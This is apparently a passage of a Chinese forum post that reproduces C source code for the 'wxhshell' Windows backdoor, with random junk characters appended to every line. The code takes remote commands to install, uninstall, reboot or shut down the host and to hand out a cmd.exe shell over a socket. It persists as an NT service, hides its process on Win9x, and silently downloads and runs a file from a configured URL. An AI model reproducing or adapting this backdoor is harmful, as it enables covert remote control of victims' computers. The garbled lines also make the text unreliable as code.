  else { kN'|,eKH4  
w;N{>)hv  
    switch(cmd[0]) { w"fCI 13  
  +}Kk2Kg8  
  // 帮助 a6;gBoV  
  case '?': { 4u3 \xR?w6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2^ zg0!z  
    break; 7^kH8qJ)  
  } z{Hz;m:*_  
  // 安装 $?H]S]#|}.  
  case 'i': { M?E9N{t8)a  
    if(Install()) _Ct}%-,4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H "Q(2I  
    else ggrI>vaw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jG+T.  
    break; R19'| TJ  
    } #Y;.>mF  
  // 卸载 21.YO]Et  
  case 'r': { CMC?R,d  
    if(Uninstall()) rDpe_varA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .(`(chRa}  
    else PfVEv *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l0gH(28K  
    break; zSEr4^Dk4  
    } bZxv/\  
  // 显示 wxhshell 所在路径 b2a'KczV  
  case 'p': { |!$ Q<-]f  
    char svExeFile[MAX_PATH]; V^j3y`K  
    strcpy(svExeFile,"\n\r"); M#=Y~PU  
      strcat(svExeFile,ExeFile); \U==f &G?J  
        send(wsh,svExeFile,strlen(svExeFile),0); iYkRo>3!QX  
    break; ;])I>BT[  
    } "\NF  
  // 重启 x*:n4FZ7b  
  case 'b': { HkW/G[7x&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xfj)gPt}  
    if(Boot(REBOOT)) cL6 6gOEL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i:g{{Uuv  
    else { 1UC2zM"  
    closesocket(wsh); }'u3U"9)  
    ExitThread(0); 7 2`/d`  
    } )8:n}w  
    break; CP}0Ri)  
    } Q?W r7  
  // 关机 X d!Cp  
  case 'd': { baqn7k"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N[>:@h  
    if(Boot(SHUTDOWN)) "_t4F4z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X8 8F>1}  
    else { 8a7YHUL<3i  
    closesocket(wsh); QT_Srw@  
    ExitThread(0); L+_8QK<  
    } wbBE@RU>!  
    break; C2NzP& FD  
    } {>S4 #^@}  
  // 获取shell ldP3n:7FS  
  case 's': { 2%bhW,?I  
    CmdShell(wsh); : g&>D#{  
    closesocket(wsh); GX7VlI[  
    ExitThread(0); m{VL\ g)  
    break; SF0Jb"kS  
  } m^ z,,t9  
  // 退出  /; +oz  
  case 'x': { 5Lw{0uLr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2ed@HJu  
    CloseIt(wsh); d"Bo8`_  
    break; ?.8<-  
    } DQcWq'yY^  
  // 离开 'HCnB]1  
  case 'q': { D^$]>-^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S=4R5igrC  
    closesocket(wsh); ; /=L  
    WSACleanup(); u]R$]&<  
    exit(1); T{ok +$w2  
    break; av$  
        } t`uc3ta"9  
  } ) 9xX  
  } V):`&@  
R3cg2H  
  // 提示信息 +9TV:T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CDJ$hu  
} Il|GCj*N  
  } ^[0" vtb  
(Bsw/wv  
  return; STw oYn  
} bea|?lK  
t~q?lT  
// shell模块句柄 )TM!ms+K  
int CmdShell(SOCKET sock) M' YJ"  
{ I`3d;l;d  
STARTUPINFO si; h:_NA  
ZeroMemory(&si,sizeof(si)); nYhp`!W4;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  $<:'!#%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KA?v.s  
PROCESS_INFORMATION ProcessInfo; G<|:605  
char cmdline[]="cmd"; ssPI$IRg!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &h\7^=s.  
  return 0; s88y{o  
} Zct!/u9 Q  
z1#oW f{*  
// 自身启动模式 <vL}l:r  
int StartFromService(void) f*v1J<1#  
{ {|Bd?U;  
typedef struct \,hrk~4U;(  
{ l`* ( f9Q  
  DWORD ExitStatus; 4Q$!c{Y r  
  DWORD PebBaseAddress; h+5 @I%WX  
  DWORD AffinityMask; LGAX"/LX  
  DWORD BasePriority; pG~'shD~Dn  
  ULONG UniqueProcessId; .ByU  
  ULONG InheritedFromUniqueProcessId; b22LT52  
}   PROCESS_BASIC_INFORMATION; pcNSL'u+  
kwO eHdV^  
PROCNTQSIP NtQueryInformationProcess; y>)MAzz~\  
eJW[ ]!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4? v,wq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,! hnm  
\x(.d.l/  
  HANDLE             hProcess; UP?D@ogl<  
  PROCESS_BASIC_INFORMATION pbi; j6H R&vIM  
xuF5/(__  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^B|YO8.v  
  if(NULL == hInst ) return 0; >r=6A   
1!d)PK>1$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dok)Je  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h^Qh9G0dn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r 3|4gG  
'd+:D'  
  if (!NtQueryInformationProcess) return 0; i0iez9B  
Y|:YrZSC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V'C-'Ythwf  
  if(!hProcess) return 0; QE3ryD  
<$Ztik1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qv$!\T  
1g~y]iQ  
  CloseHandle(hProcess); #>XeR>T  
EQ/^&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %6Rn4J^^  
if(hProcess==NULL) return 0; `/0u{[  
W-ez[raY  
HMODULE hMod; _Ds@lVY  
char procName[255]; >IBTBh_ka  
unsigned long cbNeeded; 5y040 N-  
b9DR%hO:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GY9y9HNZ  
KXq_K:r?  
  CloseHandle(hProcess); i+1Qf  
.> wFztK  
if(strstr(procName,"services")) return 1; // 以服务启动 +v!v[qn  
Hsgy'X%om  
  return 0; // 注册表启动 TOrMXcn!/  
} w2C&%Xk  
Y+@g~TE  
// 主模块 )@_ugW-j  
int StartWxhshell(LPSTR lpCmdLine) +2Z#M  
{ YNk|+A.<d  
  SOCKET wsl; Ch7Egz l7?  
BOOL val=TRUE; i%MA"I\9  
  int port=0; `zY!`G  
  struct sockaddr_in door; fx]eDA|$e  
nc&Jmo7  
  if(wscfg.ws_autoins) Install(); HA1]M`&  
O) 1E$#~  
port=atoi(lpCmdLine); S+iP^*L,c  
$o"g73`3  
if(port<=0) port=wscfg.ws_port; SOs,)  
rd">JEK;;  
  WSADATA data; rw]yKH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3}j1RYtz  
Za0gs @$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   St2Q7K5s{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0E1=W 6UZ  
  door.sin_family = AF_INET; K#wK1 Sv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kN.B/itvA  
  door.sin_port = htons(port); ^SAq^3^P!  
@/ k x er  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EX+,:l\^  
closesocket(wsl); n]v7V&mj\  
return 1; {@45?L('  
} =zOe b/  
JjQVzkE  
  if(listen(wsl,2) == INVALID_SOCKET) { xDUaHE1co  
closesocket(wsl); P5Dk63z]  
return 1; 8 URj1 W  
} Fg4@On[,i  
  Wxhshell(wsl); .it2NS  
  WSACleanup(); !UcOl0"6  
Z%e|*GS{  
return 0; 5 q65nF  
>C# kqxfg  
} cQn)^jx=  
[@|be.g  
// 以NT服务方式启动 A="fj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q#'VJA:A5&  
{ p[-{]!  
DWORD   status = 0; s1=+::  
  DWORD   specificError = 0xfffffff; . ,R4WA,  
m8HYW zN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (6clq:c7j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X4'kZ'Sy<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )2V@p~k?  
  serviceStatus.dwWin32ExitCode     = 0; iadkH]w  
  serviceStatus.dwServiceSpecificExitCode = 0; yl/a:Q  
  serviceStatus.dwCheckPoint       = 0; 'hF@><sqk  
  serviceStatus.dwWaitHint       = 0; |xeE3,8  
#w*"qn#2Uz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :,^>d3k  
  if (hServiceStatusHandle==0) return; /PW&$P1.]"  
Egf^H>,.M  
status = GetLastError(); e9:P9Di(b  
  if (status!=NO_ERROR) !F$R+A+L  
{ ^yJ:+m;6K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; />F.Nsujy  
    serviceStatus.dwCheckPoint       = 0; Hk9U&j$  
    serviceStatus.dwWaitHint       = 0; T>F9Hs  W  
    serviceStatus.dwWin32ExitCode     = status; /AR]dcL@76  
    serviceStatus.dwServiceSpecificExitCode = specificError;  D%gGRA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); az2X ch]  
    return; 0m&3?"5u  
  } ,E9d\+j  
NnOI:X {  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gc,Ps  
  serviceStatus.dwCheckPoint       = 0; 8^vArS;  
  serviceStatus.dwWaitHint       = 0; P#*n3&Uu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *Ru2:}?MpS  
} 7kd|K b(  
U0IE1_R  
// 处理NT服务事件,比如:启动、停止 u(2BQO7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]7vf#1i<  
{ 7=3O^=Q ^Q  
switch(fdwControl) hy!6g n  
{ n|C|&  
case SERVICE_CONTROL_STOP: o_rtH|ntX5  
  serviceStatus.dwWin32ExitCode = 0; 6pm~sD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &D*8l?A/1f  
  serviceStatus.dwCheckPoint   = 0; 9^\hmpP@D  
  serviceStatus.dwWaitHint     = 0; N"1 QX6  
  { Q.ukY@L.'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4U{m7[  
  } O] ZC+]}/  
  return; q~O>a0f0  
case SERVICE_CONTROL_PAUSE: 75AslL?t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 61|B]ei/  
  break; mf2Mx=oy  
case SERVICE_CONTROL_CONTINUE: p:tN642  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; km4g}~N</  
  break; 9I kUZW  
case SERVICE_CONTROL_INTERROGATE: jCQho-1QN  
  break; Z Xb}R^O-  
}; Y|RdzC M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |X3">U +-  
} On%,l  
)E-E0Hl>7  
// 标准应用程序主函数 YxyG\J\|,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ANb"oX c  
{ n_P(k-^U*  
}p{;^B  
// 获取操作系统版本 *8UYSA~v  
OsIsNt=GetOsVer(); yoU2AMH2D^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1R^4C8*B  
5#!ogKQ(i  
  // 从命令行安装 2GUupnQkD  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2fbU-9Rfn  
WHk/$7_"i  
  // 下载执行文件 G"> 0]LQ  
if(wscfg.ws_downexe) { 2-s7cXs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OZT^\Ky_l  
  WinExec(wscfg.ws_filenam,SW_HIDE); S&01SX6  
} O<`,,^4w/  
:kN5?t=  
if(!OsIsNt) { d$[8w/5Of  
// 如果时win9x,隐藏进程并且设置为注册表启动 BSDk9Oc  
HideProc(); 7E\gxQ(vU  
StartWxhshell(lpCmdLine); ~6sE an3p  
} 7E(%9W6P  
else 4>_d3_1sn  
  if(StartFromService()) \u8,!) 4i  
  // 以服务方式启动 [-58Ezyr  
  StartServiceCtrlDispatcher(DispatchTable); $?$9y ^\  
else 3agNBF2  
  // 普通方式启动 Ut_mrb+W  
  StartWxhshell(lpCmdLine); !.X _/$c  
Rf:<-C0T  
return 0;  "l2bx  
}
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只看该作者 1 发表于: 2006-10-10
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